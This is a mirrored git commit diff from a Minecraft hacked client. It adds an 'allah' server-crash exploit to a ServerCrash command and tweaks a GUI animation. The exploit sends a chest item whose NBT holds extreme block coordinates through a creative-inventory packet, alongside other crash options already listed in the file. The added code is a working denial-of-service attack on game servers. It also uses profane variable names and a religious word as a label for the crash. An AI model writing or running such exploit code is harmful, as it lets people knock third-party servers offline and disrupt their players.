mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-25 00:38:08 -05:00
lombok
This commit is contained in:
parent
25187ba2e1
commit
cc605bafea
2 changed files with 17 additions and 3 deletions
|
@ -46,7 +46,7 @@ public class ServerCrash extends Command {
|
|||
|
||||
@Override
|
||||
public PossibleArgument getSuggestionsWithType(int index, String[] args) {
|
||||
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag"), new PossibleArgument(ArgumentType.NUMBER, "(power)"));
|
||||
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag", "allah"), new PossibleArgument(ArgumentType.NUMBER, "(power)"));
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -68,6 +68,20 @@ public class ServerCrash extends Command {
|
|||
Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Riding Crash Exploit");
|
||||
}
|
||||
|
||||
|
||||
case "allah" -> {
|
||||
ItemStack ez = new ItemStack(Items.CHEST, 1);
|
||||
NbtCompound nbt = new NbtCompound();
|
||||
nbt.put("x", NbtDouble.of(2147483647));
|
||||
nbt.put("y", NbtDouble.of(0));
|
||||
nbt.put("z", NbtDouble.of(2147483647));
|
||||
NbtCompound fuck = new NbtCompound();
|
||||
fuck.put("BlockEntityTag", nbt);
|
||||
ez.setNbt(fuck);
|
||||
theFuckingNetworkHandler.sendPacket(new CreativeInventoryActionC2SPacket(39, ez));
|
||||
Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Allah's Crash");
|
||||
}
|
||||
|
||||
case "book" -> {
|
||||
int size = new IntegerArgumentParser().parse(args[1]);
|
||||
for (int i = 0; i < size; i++) {
|
||||
|
|
|
@ -306,8 +306,8 @@ public class ClickGUI extends Screen implements FastTickable {
|
|||
if (closing) {
|
||||
d *= -1;
|
||||
}
|
||||
introAnimation += d;
|
||||
introAnimation = MathHelper.clamp(introAnimation, 0, 1);
|
||||
introAnimation = 1;
|
||||
//introAnimation = MathHelper.clamp(introAnimation, 0, 1);
|
||||
trackedScroll = Transitions.transition(trackedScroll, scroll, 7, 0);
|
||||
for (Element element : elements) {
|
||||
element.tickAnim();
|
||||
|
|
Loading…
Reference in a new issue